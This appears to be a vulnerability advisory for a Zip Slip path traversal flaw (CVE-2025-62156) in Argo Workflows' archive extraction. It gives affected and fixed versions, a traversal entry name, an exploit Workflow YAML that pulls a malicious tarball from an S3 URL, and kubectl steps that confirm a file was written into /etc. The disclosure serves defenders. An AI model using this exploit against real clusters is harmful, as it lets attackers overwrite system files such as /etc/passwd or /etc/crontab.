All reports
High

Argo Workflow has a Zipslip Vulnerability

Affected versions

Version ranges need review.

Affected versions
*
Fixed version
Not reported
Affected versions
<3.6.12 || >=3.7.0 <3.7.3
Fixed version
3.6.12 · 3.7.3
Affected versions
< 3.6.12
Fixed version
3.6.12
Affected versions
>= 3.7.0, < 3.7.3
Fixed version
3.7.3
Affected versions
*
Fixed version
Not reported
Affected versions
Unknown
Fixed version
Not reported
Affected versions
Unknown
Fixed version
Not reported
Affected versions
Unknown
Fixed version
Not reported
Affected versions
Unknown
Fixed version
Not reported

Exploitation

CVE-2025-62156

Probability of exploitation in the next 30 days: 0.61%

FIRST EPSS · 2026-11-21

Description

Vulnerability Description
Vulnerability Overview
  1. During the artifact extraction process, the unpack() function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to /etc using the rename() system call,

  2. However, since /etc is an already existing system directory, the rename() system call fails, making normal archive extraction impossible.

  3. At this point, if a malicious user sets the entry name inside the tar.gz file to a path traversal like ../../../../../etc/zipslip-poc,

  4. The untar() function combines paths using filepath.Join(dest, filepath.Clean(header.Name)) without path validation, resulting in target = "/work/input/../../../../../etc/zipslip-poc",

  5. Ultimately, the /etc/zipslip-poc file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.

untar(): Writing Files Outside the Extraction Directory

https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993

  1. Base Path: /work/tmp (dest) — The intended extraction directory in the wait container

  2. Malicious Entry: ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt (header.Name) — Path traversal payload

  3. Path Cleaning: filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Go’s path cleaning normalizes the traversal

  4. Path Joining: filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Absolute path overrides base directory

  5. File Creation: /mainctrfs/etc/zipslip-ok.txt file is created in the wait container

  6. Volume Mirroring: The file appears as /etc/zipslip-ok.txt in the main container due to volume mount mirroring

PoC
PoC Description
  1. The user uploaded a malicious tar.gz file to S3 that contains path traversal entries like ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt designed to exploit the vulnerability.

  2. In the Argo Workflows YAML, the artifact’s path is set to /work/tmp, which should normally extract the archive to that intended directory.

  3. However, due to the vulnerability in the untar() function, filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") resolves to /mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations.

  4. Since the wait container’s /mainctrfs/etc and the main container’s /etc share the same volume, files created in the wait container become visible in the main container’s /etc/ directory.

  5. Consequently, the archive that should extract to /work/tmp exploits the Zip Slip vulnerability to create files in the /etc/ directory, enabling manipulation of system configuration files.

exploit yaml
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: zipslip-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: ubuntu:22.04
      command: ["sh"]
      args: ["-c", "echo 'Starting container'; sleep 3000"]
      volumeMounts:
      - name: etcvol
        mountPath: /etc
    inputs:
      artifacts:
      - name: evil
        path: /work/tmp  
        archive:
          tar: {}
        http:
          url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz"
    volumes:
    - name: etcvol
      emptyDir: {}
exploit
  1. Create Zipslip

  2. Upload S3

  3. Create Workflow

  4. Run

  5. Exploit Success

    # Find Workflow and Pod
    NS=default
    WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}')
    POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}')
    echo "NS=$NS WF=$WF POD=$POD"
    
    # Connect Main Container
    kubectl exec -it -n "$NS" "$POD" -c main -- bash
    
    # Exploit
    cd /etc/
    ls -l
    cat zipslip-ok.txt
    
Impact
Container Isolation Bypass

The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.

Links

Credits

  • im-soohyun
  • J1vvoo